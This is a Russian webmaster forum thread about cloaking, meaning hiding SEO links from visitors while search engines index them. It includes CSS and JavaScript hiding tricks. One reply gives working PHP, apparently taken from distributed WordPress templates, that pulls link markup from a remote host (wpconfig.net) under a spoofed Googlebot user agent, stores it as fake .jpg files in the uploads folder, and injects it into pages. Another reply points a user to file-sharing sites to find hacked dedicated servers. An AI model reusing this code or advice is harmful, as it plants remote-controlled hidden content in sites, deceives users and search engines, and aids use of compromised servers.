клоакинг, скрытие ссылки от сёрфера

12
V
На сайте с 08.10.2010
Offline
70
1894

Здравствуйте!

Нужно скрыть некоторые ссылки на сайте от пользователей, но чтобы пс индексировал эти ссылки и передавал вес на http://link.com(ссылка для примера - не переходи), вкатит ли такой вариант?:


<script>
window.onfocus = function(){
var elem = document.getElementsByClassName('link');
for(var i = 0; i < elem.length; i++)
elem.style.display = 'none';
}
</script>
<a class="link" href="http://link.com">link</a>

Раньше скрывал при помощи css(ссылка цветом фона), через некоторое время нашел другой вариант:


<a style="position: absolute; left: -300px;" href="http://link.com">link</a>

После этого, сайт http://link.com опустился на днище в выдаче гугла.

А может быть вот так вот можно?:


<a style="position: absolute; color: white; opacity: .10;" href="http://link.com">link</a>

Хотя подозреваю что бан из-за position:absolute в теге a

А может вынести стайл в отдельный див из тега а в последнем варианте?

К слову кто что делал, экспериментировал.

W
На сайте с 11.06.2013
Offline
5
#1

Делал для теста display:none убил два сайта :)

Так работает один из популярных сайтов с WP шаблонами. Возможно и Вам подойдет.

<?php

error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');

class Get_links {

var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;

function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);

if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);

$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}

function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2012/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}
?>

<?php

$lib_path = dirname(__FILE__).'/';
require_once('functions.php');
$links = new Get_links();
$links = $links->return_links($lib_path);
echo $links;
?>
V
На сайте с 08.10.2010
Offline
70
#2

Weshber, ясно.

Ну тут видишь, в первом варианте моих примеров display:none; обрабатывается по событию, от сюда еще вопрос:

обрабатывает ли гугл DOM документ сформированый JS'ом по событию таких как onfocus, onload etc.

---------- Добавлено 29.11.2013 в 11:32 ----------

Weshber фильтрация по user_agent, да и подгружать ajax'ом, похоже это самый надежный вариант.

sidorka
На сайте с 17.08.2012
Offline
211
#3

Проскакивало тут - гугл хромом ходит и по скрытым ссылкам кликает. Лень искать.

Дешевые домены для дорвеев и не только - от 55р (https://goo.gl/Wtnwqp)
beginerx
На сайте с 13.07.2009
Offline
173
#4

а что это за мега СДЛ в котором ну никак нельзя чтобы юзер видел какие-то там ссылки, ну сделать их сайз=1 и поместить в подвал, никто никогда из живых юзеров туда смотреть не будет. По моему какая-то надуманная проблема с сокрытием ссылок от юзера. Ваши ссылки юзеру нафиг не нужны и смотреть на них он не будет ДАЖЕ ЕСЛИ ВЫ БУДЕТЕ ЕГО ЗАСТАВЛЯТЬ СМОТРЕТЬ. СТР по рекламе 0.1% а на ваших ссылках вообще будет 0.00000000000000000000001% и что из за это разводить антимонии?! Ну а даже если о ужас 1 из 1000 юзеров таки глянет на ваши ссылки, что Апокалипсис настанет?! Не страдайте манией величия, юзеру пофиг на вас, ваш сайт и ваши ссылки :)

>>>Скорость и Реакция<<< (https://vk.com/app4629907 ): онлайн тренировка скорости и времени реакции.... (https://vk.com/app4612117 )... (https://vk.com/club18740762 ).
sidorka
На сайте с 17.08.2012
Offline
211
#5
nadodomen:
как через htaccess делать

Это про проксирование что ли? http://dchekmarev.ru/blog/article/1248094041

---------- Добавлено 29.11.2013 в 16:24 ----------

Тока ж включи mod_proxy и mod_proxy_http

sidorka
На сайте с 17.08.2012
Offline
211
#6

А почему нет? Как копипасту.

sidorka
На сайте с 17.08.2012
Offline
211
#7

А чем саб от домена отличается? Все то же самое делай.

sidorka
На сайте с 17.08.2012
Offline
211
#8
Dos3:
нашли где обсуждать,

А чего не так? Рабочие моменты обсуждаем.

Не понял снова. Ты лучше в "веб-строительстве" спроси - там админы красноглазые, они получше нас, бездарей, подкованы в таких вопросах.

Мы тут так, галерки с гусями и котами клепаем...

sidorka
На сайте с 17.08.2012
Offline
211
#9

Регулярками разбирать HTTP_HOST и вычленять оттуда имя саба, которое потом в запрос на прокси вставлять как папку.

Dos3
На сайте с 07.01.2011
Offline
363
#10
nadodomen:
Теперь скажите мне где искать халявные хакнутые дедики :D

парсь файлообменники

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий